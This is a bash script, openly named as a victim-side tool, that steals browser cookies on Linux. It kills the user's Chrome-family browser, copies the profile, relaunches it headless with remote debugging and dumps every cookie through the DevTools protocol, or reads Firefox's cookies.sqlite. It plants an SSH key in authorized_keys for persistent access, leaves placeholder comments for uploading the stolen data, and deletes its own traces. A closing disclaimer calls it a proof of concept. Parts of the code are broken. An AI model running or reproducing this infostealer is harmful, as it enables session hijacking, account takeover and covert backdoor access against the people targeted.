victim-script.sh

#!/bin/bash
if [[ "$2" = "-no" ]] || [[ "$3" = "-no" ]] || [[ "$1" = "-no" ]]; then
 ONLINE=false
 save "[INFO] Online deactivated"
else
 ONLINE=true
fi
if [[ "$3" = "-s" ]] || [[ "$2" = "-s" ]] || [[ "$1" = "-s" ]]; then
 SIGILE=true
 save "[INFO] Sigile activated"
else
 SIGILE=false
fi
if [[ "$3" = "-f" ]] || [[ "$3" = "-f" ]] || [[ "$1" = "-f" ]]; then
 FIREFOX=true
else
 FIREFOX=false
fi
get_browser_v2() {
    SEARCH_TERM="chrome|chromium|brave|vivaldi|edge|opera|thorium|firefox|librewolf|epiphany"
    CHROME_PID=$(ps -u "$USER" -o pid=,args= | grep -E "$SEARCH_TERM" | grep -v -e "--type=" | awk 'NR==1{print $1}')

    if [ -z "$CHROME_PID" ]; then
        save "[ERROR] No supported browser process found."
        send_info >/dev/null 2>&1
        delete >/dev/null 2>&1
    fi

    EXE_PATH=$(readlink -f /proc/"$CHROME_PID"/exe)
    if [ -z $EXE_PATH ]; then
     save "[INFO] Chrome not open, waiting"
     wait 5
     get_browser_v2 >/dev/null 2>&1
    fi
    EXE_NAME=$(basename "$EXE_PATH")
    
    save "[INFO] Detected Binary Name: $EXE_NAME"

    IS_CHROME=false
    case "$EXE_NAME" in
        *chrome*|*chromium*|*brave*|*vivaldi*|*edge*|*opera*|*thorium*)
            IS_CHROME=true
            ;;
    esac

    if [ "$IS_CHROME" = true ]; then
        CMD_LINE=$(cat /proc/"$CHROME_PID"/cmdline | tr '\0' '\n')
        USER_DATA_DIR=$(echo "$CMD_LINE" | grep '^--user-data-dir=' | cut -d'=' -f2)
        if [ -z "$USER_DATA_DIR" ]; then
            if [[ "$EXE_PATH" == *"/flatpak/"* ]]; then
                [[ "$EXE_NAME" == *"chrome"* ]] && USER_DATA_DIR="$HOME/.var/app/com.google.Chrome/config/google-chrome"
                [[ "$EXE_NAME" == *"chromium"* ]] && USER_DATA_DIR="$HOME/.var/app/org.chromium.Chromium/config/chromium"
            else
                case "$EXE_NAME" in
                    *google-chrome-beta*)     USER_DATA_DIR="$HOME/.config/google-chrome-beta"; NAME="google-chrome-beta" ;;
                    *google-chrome-unstable*) USER_DATA_DIR="$HOME/.config/google-chrome-unstable"; NAME="google-chrome-unstable" ;;
                    *chrome*)                 USER_DATA_DIR="$HOME/.config/google-chrome" NAME="google-chrome" ;; 
                    *chromium*)               USER_DATA_DIR="$HOME/.config/chromium"; NAME="chromium" ;;
                    *brave*)                  USER_DATA_DIR="$HOME/.config/BraveSoftware/Brave-Browser"; NAME="BraveSoftware/Brave-Browser" ;;
                    *vivaldi*)                USER_DATA_DIR="$HOME/.config/vivaldi";NAME="vivaldi" ;;
                    *opera*)                  USER_DATA_DIR="$HOME/.config/opera"; NAME="opera" ;;
                    *edge*)                   USER_DATA_DIR="$HOME/.config/microsoft-edge"; NAME="microsoft-edge" ;;
                esac
            fi
        fi
    fi

    if [ -z "$USER_DATA_DIR" ]; then
        save "[ERROR] Could not resolve USER_DATA_DIR for binary: $EXE_NAME"
        send_info >/dev/null 2>$1
        delete >/dev/null 2>$1
    fi
}
chrome_create_profile() {
 if [ -n "$CHROME_PID" ]; then
        kill -9 "$CHROME_PID" > /dev/null 2>&1
        save "[INFO] Active process $EXE_NAME (PID: $CHROME_PID) terminated."
 fi
 save "[INFO] copying browser data"
 GHOST_DIR="./.config/chrome_shadow"
 rm -rf "$GHOST_DIR"
 mkdir -p "$GHOST_DIR/$NAME"
 #ln -s "$USER_DATA_DIR" "$GHOST_DIR"
 cp -r "$USER_DATA_DIR" "$GHOST_DIR"
}
chrome_init_browser() {
 save "[INFO] Starting ws in port $PORT"
 $EXE_PATH --remote-debugging-port=$PORT \
              --user-data-dir="$GHOST_DIR/$NAME" \
              --headless=new \
              --disable-gpu \
              --no-first-run > /dev/null 2>&1 &
    for i in {1..15}; do
        WS_URL=$(curl -s http://localhost:$PORT/json | grep -m 1 "webSocketDebuggerUrl" | cut -d '"' -f 4)
        if [ -n "$WS_URL" ]; then
            save "[INFO] WebSocket discovered: $WS_URL"
            export WS_URL
            return 0
        fi
        sleep 1
    done
    save "[ERROR] Browser started but DevTools never responded."
    return 1
}
chrome_attack_v5() {
save "[INFO] Init python attack"
OUTPUT_FILE="creds"
python3 - << EOF
import socket, json, os, base64, urllib.parse, struct, time
WS_URL = "$WS_URL" 
OUTPUT_FILE="$OUTPUT_FILE"

def debug_attack():
    url = urllib.parse.urlparse(WS_URL)
    host = url.hostname
    port = url.port

    try:
        s = socket.create_connection((host, port), timeout=5)
        key = base64.b64encode(os.urandom(16)).decode()
        handshake = (f"GET {url.path} HTTP/1.1\r\n"
                     f"Host: {url.netloc}\r\n"
                     "Upgrade: websocket\r\n"
                     "Connection: Upgrade\r\n"
                     f"Sec-WebSocket-Key: {key}\r\n"
                     "Sec-WebSocket-Version: 13\r\n\r\n")
        s.send(handshake.encode())
        
        resp = s.recv(4096)
        if b"101" not in resp:
            return
        cmd = json.dumps({"id": 1, "method": "Network.getAllCookies"})
        payload = cmd.encode()
        header = bytearray([0x81, 0x80 | len(payload)])
        mask = os.urandom(4)
        masked_payload = bytes(b ^ mask[i % 4] for i, b in enumerate(payload))
        s.send(header + mask + masked_payload)
        raw_res = b""
        s.settimeout(10)
        
        while True:
            try:
                chunk = s.recv(1048576)
                if not chunk: break
                raw_res += chunk
                if b'"id":1' in raw_res and raw_res.strip().endswith(b'}'):
                    break
            except socket.timeout:
                break
        json_start = raw_res.find(b'{')
        data = json.loads(raw_res[json_start:].decode('utf-8', errors='ignore'))
        cookies = data.get('result', {}).get('cookies', [])
        with open(OUTPUT_FILE, "w") as f:
            for c in cookies:
                f.write(f"DOMAIN: {c.get('domain', '')}\n")
                f.write(f"NAME:   {c.get('name', '')}\n")
                f.write(f"VALUE:  {c.get('value', '')}\n")
                f.write("-" * 40 + "\n")
    finally:
        if 's' in locals(): s.close()

if __name__ == "__main__":
    debug_attack()
EOF
}	
delete() {
 rm info
 rm -rfd .config
 rm creds
 rm firefoxsqlite
 rm $0
 rm "$GHOST_DIR"
}
chrome_send_info() {
 if [ $ONLINE = true ]; then
   if [ $SIGILE = false ]; then
	#Upload key. Recommended, curl and a storage container (azure, google cloud, etc)
   fi
	#Upload creds and info files to a server or your pc. Recommended, curl and a storage container (azure, google cloud, etc)
 else
	SAVE_DIR="$HOME/.config/ssh-backup-creds"
	mkdir -p $SAVE_DIR
	mv creds ssh-backup-creds
	cp ssh-backup-creds $SAVE_DIR
 fi
}
save() {
 echo $1 >> info
}
get_free_port() {
 while [ $PORT_INDEX -lt 65536 ]; do
  case $PORT_INDEX in
  20)
  	PORT_INDEX=$(( $PORT_INDEX + 1 ))
  	;;
  21)
  	PORT_INDEX=$(( $PORT_INDEX + 1 ))
  	;;
  23)
  	PORT_INDEX=$(( $PORT_INDEX + 1 ))
  	;;
  24)
  	PORT_INDEX=$(( $PORT_INDEX + 1 ))
  	;;
  25)
  	PORT_INDEX=$(( $PORT_INDEX + 1 ))
  	;;
  53)
  	PORT_INDEX=$(( $PORT_INDEX + 1 ))
  	;;
  80)
  	PORT_INDEX=$(( $PORT_INDEX + 1 ))
  	;;
  110)
  	PORT_INDEX=$(( $PORT_INDEX + 1 ))
  	;;
  119)
  	PORT_INDEX=$(( $PORT_INDEX + 1 ))
  	;;
  123)
  	PORT_INDEX=$(( $PORT_INDEX + 1 ))
  	;;
  143)
	PORT_INDEX=$(( $PORT_INDEX + 1 ))
  	;;
  161)
  	PORT_INDEX=$(( $PORT_INDEX + 1 ))
  	;;
  194)
  	PORT_INDEX=$(( $PORT_INDEX + 1 ))
  	;;
  443)
  	PORT_INDEX=$(( $PORT_INDEX + 1 ))
  	;;
    *)
    	;;
  esac
  IS_FREE=$(ss -tuln | grep ":$PORT_INDEX ")
  if [ -z $IS_FREE ]; then
   PORT=$PORT_INDEX
   save "[INFO] free port found in $PORT"
   break
  fi
  PORT_INDEX=$(( $PORT_INDEX + 1 ))
 done
}
chrome_restore_browser() {
 save "[INFO] Restoring user session..."
 $EXE_PATH --restore-last-session > /dev/null 2>&1 &
}
is_creds_empty() {
 if [ -z creds ]; then
  python_attack_v5 >/dev/null 2>&1
 fi
}
firefox_attack() {
	save "[INFO] Targeted Profile: $(basename "$PROFILE_DIR")"
	DB_PATH="$PROFILE_DIR/cookies.sqlite"
	GHOST_DB="/tmp/ff_cookies.db"
	mkdir -p $GHOST_DB
	cp "$DB_PATH" "$GHOST_DB"
	python3 - <<EOF
	import sqlite3, json

	OUTPUT_FILE = "creds"
	GHOST_DB = "$GHOST_DB"

	try:
	    conn = sqlite3.connect(GHOST_DB)
	    cursor = conn.cursor()
	    cursor.execute("SELECT host, name, value FROM moz_cookies")
	    rows = cursor.fetchall()
	    
	    print(f"[*] Siphoning {len(rows)} cookies from the Firefox vault...")
	    
	    with open(OUTPUT_FILE, "w") as f:
		f.write("="*80 + "\n   FIREFOX IDENTITY VAULT\n" + "="*80 + "\n")
		for host, name, value in rows:
		    f.write(f"DOMAIN: {host}\nNAME:   {name}\nVALUE:  {value}\n" + "-"*40 + "\n")
		    
	    print(f"[+] Success! {len(rows)} tokens saved")

	except Exception as e:
	    print(f"[-] Database Error: {e}")
	finally:
	    conn.close()
EOF
rm "$GHOST_DB"
}
firefox_send_info() {
 cp /tmp/ff_cookies.db/cookies.sqlite firefoxsqlite
  if [ $ONLINE = true ]; then
   if [ $SIGILE = false ]; then
	#Upload Key file (ssh connection)
   fi
	#Upload info and creds files
 else
	SAVE_DIR="$HOME/.config/ssh-backup-creds"
	mkdir -p $SAVE_DIR
	mv creds ssh-backup-creds
	cp ssh-backup-creds $SAVE_DIR
 fi
}
keep_connection() {
 if [ -f key ]; then
  mkdir -p ~/.ssh 2>/dev/null
  chmod 700 ~/.ssh
  cat key.pub >> ~/.ssh/authorized_keys
  chmod 600 ~/.ssh/authorized_keys
 else
  ssh-keygen -t ed25519 -N "" -f key
  mkdir -p ~/.ssh 2>/dev/null
  chmod 700 ~/.ssh
  cat key.pub >> ~/.ssh/authorized_keys
  chmod 600 ~/.ssh/authorized_keys
 fi
}
firefox_search_profile_v2() {
save "[INFO] Searching for database"
DB_PATH=$(find "$HOME/.config/mozilla/firefox" "$HOME/.mozilla/firefox" -name "*.sqlite" -exec grep -l "moz_cookies" {} + 2>/dev/null | head -n 1)

if [ -n "$DB_PATH" ]; then
    PROFILE_DIR=$(dirname "$DB_PATH")
    save "[INFO] Vault found at: $PROFILE_DIR"
else
    save "[ERROR] Could not find any file with Firefox Cookie."
fi
}
OUTPUT_FILE="creds"
PORT_INDEX=1024
rm info >/dev/null 2>&1
touch info >/dev/null 2>&1
WHOAMI=$(whoami)
get_browser_v2 >/dev/null 2>&1
get_free_port >/dev/null 2>&1
if [ $SIGILE = false ]; then
 save "[INFO] Init ssh connection"
 keep_connection >/dev/null 2>&1
else
 save "[INFO] Ignoring ssh connection"
fi
if [ $FIREFOX = true ]; then
 firefox_search_profile_v2 >/dev/null 2>&1
 firefox_attack >/dev/null 2>&1
 firefox_send_info >/dev/null 2>&1
else
 case $IS_CHROME in
   true)
   	save "[INFO] Starting chrome get info"
   	save "[INFO] User dir in $USER_DATA_DIR"
   	chrome_create_profile >/dev/null 2>&1
   	chrome_init_browser >/dev/null 2>&1
   	chrome_attack_v5 >/dev/null 2>&1
   	chrome_restore_browser >/dev/null 2>&1
   	chrome_send_info >/dev/null 2>&1
   	;;
  false)
        firefox_search_profile_v2 >/dev/null 2>&1
  	firefox_attack >/dev/null 2>&1
  	firefox_send_info >/dev/null 2>&1
  	;;
      *)
      	save "[ERROR] Tf happened here? corrupted var?"
      	;;
 esac
delete
fi
# For the people reading this, enjoy it!, was made with love and with no intention of attacking anybody
# The author of this file does NOT encourage any malicious action made with this work, this was only a bug discovery proof of concept
# Please use it for good and remeber that "With great power comes great responsability"!!